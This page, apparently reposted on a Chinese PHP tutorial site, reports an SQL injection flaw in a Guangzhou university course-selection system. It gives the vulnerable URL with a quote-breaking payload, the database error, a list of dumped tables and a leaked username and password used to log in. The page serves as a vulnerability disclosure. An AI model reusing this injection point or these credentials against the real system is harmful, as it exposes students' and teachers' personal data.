讲师中心 微信公众号
首页
文章
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 自媒体 新闻
专题
后端开发 web前端 数据库 开发工具 php框架 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 新闻
AI工具
AI 聊天问答 Agent智能体 AI 文本写作 AI 绘画作图 AI 设计工具 AI 视频创作 AI 音频制作 AI 办公学习 AI 编程开发 Prompt指令
学习
大前端 后端开发 数据库 移动端 运维开发 计算机基础
编程手册
大前端 后端开发 数据库 移动端 运维开发 计算机基础
下载
js特效 网站源码 工具下载 类库下载 网站素材 学习资源 插件扩展 手机游戏
最近更新
首页 > 数据库 > mysql教程 > 正文

广州大学城高校互选课程管理系统sql注入致大量教师学生用户信息_MySQL

php中文网
发布： 2016-06-01 13:14:18
原创
1646人浏览过

广州大学城高校互选课程管理系统sql注入致大量教师学生用户信息泄漏某处过滤不当导致的sql注入，学分刷起来！

访问：
http://unitown.scnu.edu.cn/ShowMTeachPlanList.php?SelectType=coll&Depart_coll=%B9%E3%B6%AB%CD%E2%D3%EF%CD%E2%C3%B3%B4%F3%D1%A7%%27
错误信息：

mySQL 查询错误: SELECT Zhy.DepartID, Zhy.Zhy_Code, Department.Depart_coll, Department.Depart_majorFROM Zhy , Department WHERE Zhy.DepartID = Department.DepartIDAND Department.Depart_coll ='广东外语外贸大学%''<br /><br />mySQL 发生错误: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''广东外语外贸大学%''' at line 1<br />mySQL 错误代码: 1064<br />时间: Sunday 30th 2014f March 2014 11:34:48 AM
登录后复制
[18 tables]<br />+---------------------------------------+<br />| News|<br />| user|<br />| course|<br />| course_recepter |<br />| course_resourse |<br />| coursevaild |<br />| department|<br />| error |<br />| excellentcourse |<br />| majorcode |<br />| mcteachplan |<br />| mcteachplanarrangement|<br />| noteinfo|<br />| receive |<br />| selcourse |<br />| studentinfo |<br />| systemrecord|<br />| zhy |<br />+---------------------------------------+
登录后复制


首页就有登陆入口，整一条user记录，登陆一下
lihh pwd:lihh

 

秒哒
秒哒

秒哒-不用代码就能实现任意想法

秒哒 584
查看详情 秒哒

大家都在看：

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移，垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是，许多工具可以让 Windows 保持平稳运行。

下载
来源：php中文网
收藏 点赞
上一篇：MYSQL + MHA +keepalive + VIP安装配置(二)--MHA的配置 下一篇：写程序很难之logstash之file input插件实现分析_MySQL
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
最新问题
如何在mysql中排查内存不足问题 首先检查MySQL配置参数如innodb_buffer_pool_size、连接级缓冲等是否过高，避免内存超配；接着通过SHOWSTATUS和performance_schema查看运行时内存使用及临时表创建情况；再用free、top、dmesg等系统命令分析内存状态和OOM记录；最后根据实际负载调整配置，降低缓冲大小、限制最大连接数、优化查询，确保资源配置与业务需求匹配，防止内存不足。
2025-12-20 10:13:33
974
mysql如何使用快照备份_mysql快照备份方法 快照备份依赖LVM或云平台实现高效物理备份。1.LVM快照需数据目录在逻辑卷上，通过加锁、刷新日志、创建快照完成一致性备份；2.云平台快照结合fsfreeze冻结文件系统确保一致性；3.恢复时停止MySQL，复制快照数据并重置权限；4.需结合逻辑备份，定期验证恢复流程，监控空间使用。
2025-12-20 10:05:12
283
mysql镜像配置如何导出数据库_mysql镜像配置数据库导出操作指南 首先确认MySQL容器正在运行并获取容器名称和登录凭据，然后使用dockerexec结合mysqldump命令导出数据库，如dockerexecmysql-containermysqldump-uroot-pdatabase_name>backup.sql，支持导出单库或全库，文件默认保存在宿主机当前目录，建议指定完整路径并确保写入权限，大数据量时可结合gzip压缩输出，如|gzip>backup.sql.gz。
2025-12-20 09:59:23
856
mysql如何备份大数据量数据库_mysql大库备份方案 MySQL大数据量备份核心是“不锁表、不拖垮服务、可恢复、可验证”，推荐PerconaXtraBackup物理热备为主，辅以分库分表逻辑备份与严格校验演练。
2025-12-20 09:53:02
827
如何用mysql实现订单状态管理_mysql订单状态数据库搭建 订单状态管理系统需设计合理的数据库结构与状态流转逻辑。1.订单表使用整数表示状态码，建立索引提升查询效率；2.应用层通过状态机控制合法转换，利用SQL的WHERE条件保证更新原子性；3.独立日志表记录每次状态变更，确保操作可追溯；4.定时任务扫描超时订单并自动关闭，防止资源占用。配合充分测试，确保系统稳定可靠。
2025-12-20 09:38:02
174
mysql无法连接数据库怎么办_mysql连接错误排查流程 MySQL连接失败需按顺序排查：先确认服务状态，再检查地址端口、用户权限与认证方式、客户端参数及网络连通性，覆盖网络、服务、权限、配置等环节。
2025-12-20 09:33:07
407
mysql索引是否越多越好_mysql索引数量优化建议 MySQL索引并非越多越好，过多会降低写入性能、增加存储开销并干扰查询优化；应基于慢日志和EXPLAIN分析，优先覆盖高频WHERE、JOIN、ORDERBY/GROUPBY及覆盖查询字段，清理冗余索引，控制单表有效索引数在5个以内。
2025-12-20 09:32:02
476
如何初始化mysql权限表_mysql权限表初始化方法 MySQL权限表初始化需按版本选择正确命令：5.7.6+用mysqld--initialize（生成随机root密码）或--initialize-insecure（空密码），5.7.5及更早用mysql_install_db，8.0+必须用--initialize且权限表转为数据字典表；初始化后须立即加固安全，包括修改root密码、删除匿名用户、限制远程访问并刷新权限。
2025-12-20 09:16:42
778
如何在mysql中实现评论系统_mysql评论表设计实战 MySQL评论系统需设计支持多类型目标的泛型表，含target_type/target_id/user_id/parent_id/status等核心字段，建组合索引提升查询效率，采用两步查询+后端组装实现二级嵌套展示，并通过status软删除、敏感词过滤、独立点赞表等保障健壮性。
2025-12-20 09:04:48
511
mysql中schema和database有什么区别_mysql schema与database区别 MySQL中schema与database完全等价，CREATEDATABASE和CREATESCHEMA效果相同；因未实现多schema架构，二者仅一层命名空间，使用时需团队统一术语并注意跨数据库迁移差异。
2025-12-20 08:47:03
513
相关专题
更多>
热门推荐
开源免费商场系统广告
热门教程
更多>
相关推荐
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网：公益在线php培训，帮助PHP学习者快速成长！
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号

  • PHP学习

  • 技术支持

  • 返回顶部